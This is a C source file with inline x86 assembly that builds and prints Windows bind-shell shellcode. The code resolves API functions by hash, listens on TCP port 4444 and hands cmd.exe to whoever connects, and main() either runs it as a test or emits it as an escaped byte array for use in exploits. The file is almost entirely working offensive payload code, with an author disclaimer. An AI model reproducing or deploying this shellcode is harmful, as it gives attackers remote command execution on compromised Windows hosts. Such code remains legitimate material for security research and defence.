/* * Generic portbind shellcode for win32 (NT-based versions) * * Overview * * Bind to a TCP port and redirect cmd.exe to a client connection. * * Targets * * NT/2K/XP * * Usage * * $ portbind.exe * Usage: portbind.exe [test | cstyle] * * To generate usable code: * * $ portbind.exe cstyle * * To test the code by having it bind to port 4444: * * $ portbind.exe test * * Disclaimer * * The author cannot be held responsible for how this code is used. * * Compile * * Optional defines * * /DUSE_KERNEL32_METHOD_PEB Resolve kernel32 using the PEB technique. * /DUSE_KERNEL32_METHOD_SEH Resolve kernel32 using the SEH technique. * /DUSE_KERNEL32_METHOD_TOPSTACK Resolve kernel32 using the TOPSTACK technique. * /DMINIMIZE_SIZE Remove some of the unecessary code to minimize size. * This assumes that WSAStartup has been called. * * cl connectback.c /link /debug ws2_32.lib * * skape * mmiller@hick.org */ #include #include #pragma warning(disable: 4068) #define EMIT_4_LITTLE_ENDIAN(a,b,c,d) __asm _emit a __asm _emit b __asm _emit c __asm _emit d void __declspec(naked) portbind_begin() { __asm { portbind: jmp startup_bnc // Jump to the startup bounce point #include "generic.c" startup_bnc: jmp startup // Jump to the real startup resolve_symbols_for_dll: lodsd // Load the current dword from esi into eax push eax // Push the hash as the second argument to find_function push edx // Push the base address of the current dll being loaded from call find_function // Call find_function mov [edi], eax // Store the return address in the current output buffer pointer add esp, 0x08 // Restore eight bytes to the stack. add edi, 0x04 // Add 4 bytes to the output buffer to move to the next slot cmp esi, ecx // Have we reached the end? jne resolve_symbols_for_dll // If not, continue loading resolve_symbols_for_dll_finished: ret // Return to the caller kernel32_symbol_hashes: EMIT_4_LITTLE_ENDIAN(0x8e,0x4e,0x0e,0xec) // LoadLibraryA [0x04] EMIT_4_LITTLE_ENDIAN(0x72,0xfe,0xb3,0x16) // CreateProcessA [0x08] EMIT_4_LITTLE_ENDIAN(0x7e,0xd8,0xe2,0x73) // ExitProcess [0x0c] #ifndef MINIMIZE_SIZE EMIT_4_LITTLE_ENDIAN(0xad,0xd9,0x05,0xce) // WaitForSingleObject [0x10] #endif ws2_32_symbol_hashes: EMIT_4_LITTLE_ENDIAN(0xd9,0x09,0xf5,0xad) // WSASocketA minsize: [0x10] regsize: [0x14] EMIT_4_LITTLE_ENDIAN(0xa4,0x1a,0x70,0xc7) // bind minsize: [0x14] regsize: [0x18] EMIT_4_LITTLE_ENDIAN(0xa4,0xad,0x2e,0xe9) // listen minsize: [0x18] regsize: [0x1c] EMIT_4_LITTLE_ENDIAN(0xe5,0x49,0x86,0x49) // accept minsize: [0x1c] regsize: [0x20] #ifndef MINIMIZE_SIZE EMIT_4_LITTLE_ENDIAN(0xcb,0xed,0xfc,0x3b) // WSAStartup [0x24] EMIT_4_LITTLE_ENDIAN(0xe7,0x79,0xc6,0x79) // closesocket [0x28] #endif startup: sub esp, 0x60 // Allocate 0x60 bytes of stack space mov ebp, esp // Use ebp as the frame pointer jmp get_absolute_address_forward // Jump forward past the middle get_absolute_address_middle: jmp get_absolute_address_end // Jump to the end now that we have our VMA on the stack get_absolute_address_forward: call get_absolute_address_middle // Call to the middle to push the VMA of 'pop esi' onto the stack get_absolute_address_end: pop esi // Pop the return address from the stack into esi call find_kernel32 // Find the kernel32.dll base address through whatever means mov edx, eax // Save the kernel32.dll base address in edx resolve_kernel32_symbols: #ifndef MINIMIZE_SIZE sub esi, 0x36 // Offset esi 0x36 bytes back from 'pop esi' #else sub esi, 0x2a // Offset esi 0x2a bytes back from 'pop esi' #endif lea edi, [ebp + 0x04] // Set edi to the start of our output buffer mov ecx, esi // Set ecx to the address of the first hash #ifndef MINIMIZE_SIZE add ecx, 0x10 // Set the stop point to the first hash address + 0x10 #else add ecx, 0x0c // Set the stop point to the first hash address + 0x0c #endif call resolve_symbols_for_dll // Resolve all the kernel32.dll symbols resolve_winsock_symbols: #ifndef MINIMIZE_SIZE add ecx, 0x18 // Set the stop point to the first hash of ws2_32 + 0x18 #else add ecx, 0x10 // Set the stop point to the first hash of ws2_32 + 0x10 #endif xor eax, eax // Zero eax mov ax, 0x3233 // Set the low order bytes of eax to '32' push eax // Push '32\0\0' push 0x5f327377 // Push 'ws2_' mov ebx, esp // Save the pointer to the 'ws2_32' string in ebx push ecx // Save ecx so that it does not get clobbered push edx // Save edx so that it does not get clobbered push ebx // Push the 'ws2_32' string pointer onto the stack call [ebp + 0x04] // Call LoadLibraryA pop edx // Restore edx pop ecx // Restore ecx mov edx, eax // Set edx to the base address of ws2_32.dll call resolve_symbols_for_dll // Resolve all the ws2_32.dll symbols initialize_cmd: mov eax, 0x646d6301 // Set eax to '\0x01cmd' sar eax, 0x08 // Shift eax 8 bits to the right to remove the \0x01 and add a null push eax // Push the string onto the stack mov [ebp + 0x34], esp // Save the pointer 'cmd' pointer for later use #ifndef MINIMIZE_SIZE initialize_winsock: xor eax, eax // Zero eax mov ax, 0x0190 // Set the low order bytes to 0x0190, the size of WSADATA sub esp, eax // Allocate stack space for the buffer push esp // Push the WSADATA pointer argument add eax, 0x72 // Add 0x72 to set eax to 0x0202 for the version argument push eax // Push the version argument call [ebp + 0x24] // Call WSAStartup #endif create_socket: xor eax, eax // Zero eax push eax // Push flags (0) push eax // Push group (0) push eax // Push protocol information (NULL) push eax // Push protocol (0) inc eax // Increment eax push eax // Push type (SOCK_STREAM) inc eax // Increment eax push eax // Push af (AF_INET) #ifndef MINIMIZE_SIZE call [ebp + 0x14] // Call WSASocket #else call [ebp + 0x10] // Call WSASocket #endif mov esi, eax // Save the newly allocated file descriptor in esi bind: xor eax, eax // Zero eax xor ebx, ebx // Zero ebx push eax // Push null push eax // Push null push eax // Push null mov eax, 0x5c110102 // Set eax to the sin_port/sin_family attributes of sockaddr_in (default port is 4444) dec ah // Fix the sin_family attribute high order byte push eax // Push the sin_port/sin_family mov eax, esp // Save the pointer to the structure in eax mov bl, 0x10 // Set the low order byte of ebx to 16 push ebx // Push the size of the structure push eax // Push the pointer to the sockaddr_in structure push esi // Push the file descriptor allocated by WSASocket #ifndef MINIMIZE_SIZE call [ebp + 0x18] // Call bind #else call [ebp + 0x14] // Call bind #endif listen: push ebx // Push a backlog of 16 push esi // Push the listener file descriptor #ifndef MINIMIZE_SIZE call [ebp + 0x1c] // Call listen #else call [ebp + 0x18] // Call listen #endif accept: push ebx // Push 16 for use as the size mov edx, esp // Save the pointer to the size in edx sub esp, ebx // Allocate 16 bytes of stack space mov ecx, esp // Save the pointer to the client sockaddr_in structure in ecx push edx // Push the pointer to the length push ecx // Push the pointer to the sockaddr_in structure push esi // Push the listen file descriptor #ifndef MINIMIZE_SIZE call [ebp + 0x20] // Call accept #else call [ebp + 0x1c] // Call accept #endif mov esi, eax // Move the newly allocated client file descriptor into esi initialize_process: xor ecx, ecx // Zero ecx mov cl, 0x54 // Set ecx to 0x54 (sizeof(PROCESS_INFORMATION) + sizeof(STARTUPINFO)) sub esp, ecx // Allocate stack space for the two buffers mov edi, esp // Set edi to point to the start of the buffers push edi // Save edi zero_structs: xor eax, eax // Zero eax for use with zeroing out the structures rep stosb // Repeat storing 0x00 until ecx is 0 pop edi // Restore edi to point to the start of the buffers initialize_structs: mov byte ptr [edi], 0x44 // Set the 'cb' attribute of the STARTUPINFO buffer to 0x44 inc byte ptr [edi + 0x2d] // Set the STARTF_USESTDHANDLES flag push edi // Save edi mov eax, esi // Set eax to the file descriptor lea edi, [edi + 0x38] // Load the effective address of hStdInput stosd // Set hStdInput to the file descriptor stosd // Set hStdOutput to the file descriptor stosd // Set hStdError to the file descriptor pop edi // Restore edi to point to the start of the buffers execute_process: xor eax, eax // Zero eax lea esi, [edi + 0x44] // Load the effective address of the PROCESS_INFORMATION buffer push esi // Push the PROCESS_INFORMATION pointer push edi // Push the STARTUPINFO pointer push eax // Push Startup Directory (NULL) push eax // Push Environment (NULL) push eax // Push CreationFlags (0) inc eax // Increment eax push eax // Inherit handles (TRUE) dec eax // Decrement eax push eax // Thread attributes (NULL) push eax // Process attributes (NULL) push [ebp + 0x34] // Command line ('cmd' pointer) push eax // Module name (NULL) call [ebp + 0x08] // Call CreateProcessA #ifndef MINIMIZE_SIZE wait_for_exit: not eax // Invert the bits in eax to 0xfffffffe push eax // Push the timeout push [esi] // Push the handle the process that was started call [ebp + 0x10] // Call WaitForSingleObject close_client_fd: push [edi + 0x38] // Push the file descriptor call [ebp + 0x28] // Call closesocket #endif exit_process: call [ebp + 0x0c] // Call ExitProcess } } void __declspec(naked) portbind_end() { exit(1); } int main(int argc, char **argv) { #ifdef MINIMIZE_SIZE WSADATA data; WSAStartup(MAKEWORD(2, 2), &data); #endif if (argc == 1) { fprintf(stdout, "Usage: %s [test | cstyle]\n", argv[0]); return 0; } if (!strcmp(argv[1], "test")) portbind_begin(); else if (!strcmp(argv[1], "cstyle")) { unsigned char *start = (unsigned char *)((unsigned char *)portbind_begin); unsigned char *stop = (unsigned char *)((unsigned char *)portbind_end); unsigned char *c = NULL; unsigned long x = 0, length, portOffset = 0; // Calculate the actual address in memory of the begin/end function based off their relative jmp points. start += *(unsigned long *)((unsigned char *)portbind_begin + 1) + 5; stop += *(unsigned long *)((unsigned char *)portbind_end + 1) + 5; length = stop - start; for (c = start, x = 0; x < length - 2; c++, x++) { if (*(unsigned short *)c == 0x5c11) break; } portOffset = (unsigned long )(c - start); fprintf(stdout, "// %lu byte portbind shellcode\n\n", length); fprintf(stdout, "#define SET_PORTBIND_PORT(buf, port) *(unsigned short *)(((buf)+%d)) = (port)\n\n", portOffset); fprintf(stdout, "unsigned char portbind[] = \""); for (c = start, x = 0; x < length; x++) fprintf(stdout, "\\x%2.2x", c[x]); fprintf(stdout, "\";\n\n"); } else fprintf(stdout, "%s: invalid option\n", argv[0]); return 1; }